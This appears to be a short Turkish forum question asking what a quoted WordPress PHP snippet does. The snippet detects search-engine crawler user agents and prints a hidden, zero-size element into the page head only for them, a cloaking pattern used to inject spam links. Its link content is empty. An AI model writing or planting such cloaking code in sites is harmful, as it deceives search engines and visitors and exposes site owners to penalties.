Ve bu kod ne işe yarıyor tam olarak?

function analink(){
$agent = $_SERVER['HTTP_USER_AGENT'];
$sec = $agent;
switch(true){
case (strpos($sec,"google")): $part = 1; break;
case (strpos($sec,"yandex")): $part = 1; break;
case (strpos($sec,"bing")): $part = 1; break;
case (strpos($sec,"yahoo")): $part = 1; break;
case (strpos($sec,"alexa")): $part = 1; break;
case (strpos($sec,"spider")): $part = 1; break;
case (strpos($sec,"slurp")): $part = 1; break;
case (strpos($sec,"crawl")): $part = 1; break;
case (strpos($sec,"bot")): $part = 1; break;
default : $part = 0;
}
if($part ==1){
echo '<font style="overflow: auto; position: absolute; height: 0pt; width: 0pt">



</font> ';
}
}
add_action('wp_head', 'analink');